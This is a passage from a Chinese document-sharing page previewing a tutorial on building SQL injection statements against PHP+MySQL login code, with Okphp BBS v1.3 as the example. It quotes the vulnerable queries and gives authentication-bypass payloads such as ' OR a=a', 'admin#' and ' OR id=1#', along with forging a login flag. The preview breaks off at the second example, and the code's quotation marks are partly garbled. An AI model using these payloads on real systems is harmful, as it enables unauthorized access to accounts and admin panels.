- 1、本文档共7页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
谈phpmysql注射语句构造
一.前言: 版本信息:Okphp BBS v1.3 开源版 下载地址:/SoftView.asp?SoftID=1800 由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。 声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。 二.“漏洞”分析: 1.admin/login.php注射导致绕过身份验证漏洞: 代码:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname); $password = md5($password); $q = select id,group_id from $user_table where username=$username and password=$password; $res = sql_query($q,$conn); $row = sql_fetch_row($res); $q = select id,group_id from $user_table where username=$username and password=$password中 $username 和 $password 没过滤, 很容易就绕过。 对于select * from $user_table where username=$username and password=$password这样的语句改造的方法有: 构造1(利用逻辑运算):$username= OR a=a??$password= OR a=a 相当于sql语句:
select * from $user_table where username= OR a=a and password= OR a=a 构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin#(或admin/*) 即:
select * from $user_table where username=admin# and password=$password 相当于:
select * from $user_table where username=admin 在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username=admin# and password=$password 相当于:
select id,group_id from $user_table where username=admin 只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id, 我们就可以这样构造:$username= OR id=1# 相当于:
select id,group_id from $user_table where username= OR id=1# and password=$password(#后的被注释掉) 我们接着往下看代码:
if ($row[0]) { ????// If not admin or super moderator ????if ($username != admin !eregi((^|)3($|),$row[1])) { ????????$login = 0; ????} ???? ????else { ????????$login????= 1; ????} } // Fail to login--------------- if (!$login) { ????write_log(Moderator login,0,password wrong); ????echo scriptalert(login failed!);history.go(-1);/script; ????exit(); } // Access ! ------------- else { ????session_start(); 呵呵~~ 最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。 2.users/login.php注射导致绕过身份验证漏洞: 代码:
您可能关注的文档
- 数据库设计实验 8.ppt
- 系统用户说明文档.doc
- 该系统为简单的注册登录系统.doc
- 专用的php连接各个数据库的说明,主要是pdo的说明.doc
- Snoop抓包工具用法简介.doc
- 一个简单的struts例子.docx
- DidyoutakeAmy‘sdall?.doc
- 1.2.2数轴 教案.doc
- 小学英语教学现状及对策分析.doc
- SQL查询语句习题.doc
- DB23_T 3866-2024冰上龙舟赛事组织服务规范.docx
- DB32 2163-2012 棉纱单位可比综合电耗限额及计算方法.docx
- DB32∕T 2429-2013 棉花田间生长发育观察记载规范.docx
- DB23_T 3820-2024 工业互联网综合平台数据质量管理规范.docx
- DB23_T 3474-2023非煤智慧矿山信息系统技术规范.docx
- DB3201_T 1106-2022 工程地质层划分技术规范.docx
- DB33T 2515-2022公共机构“零碳”管理与评价规范.docx
- DB3301_T 0415-2023 装修垃圾收运处置管理规范.docx
- DB3311/T 106―2019“丽水山居”民宿服务要求与评价规范.docx
- DB3201T 1127-2022 慈善捐赠受赠管理规范.docx
最近下载
- 亿赛通电子文档安全管理系统V5.0--客户端使用手册V1113379.pdf VIP
- [标准规范]煤矿窄轨铁道维修质量标准及检查评级办法(精编).doc VIP
- 人教统编版小升初语文总复习专题七:句式变换课件(共28张PPT).ppt VIP
- 2025重庆永川区板桥镇村(社区) 后备干部选拔笔试备考试题及答案解析.docx VIP
- 深度解析《GBT 44026-2024预制舱式锂离子电池储能系统技术规范》.pptx
- 品质部各岗位职责说明书.pdf VIP
- 2022.01 深圳南山红花岭工业区城市更新项目一期建筑方案设计 华艺.pdf VIP
- 电冰箱安全技术规程培训.pptx VIP
- 07FK02 防空地下室 通风设备安装.pdf VIP
- 解决我国农民负担问题的路线图设想-中国发展.pdf
文档评论(0)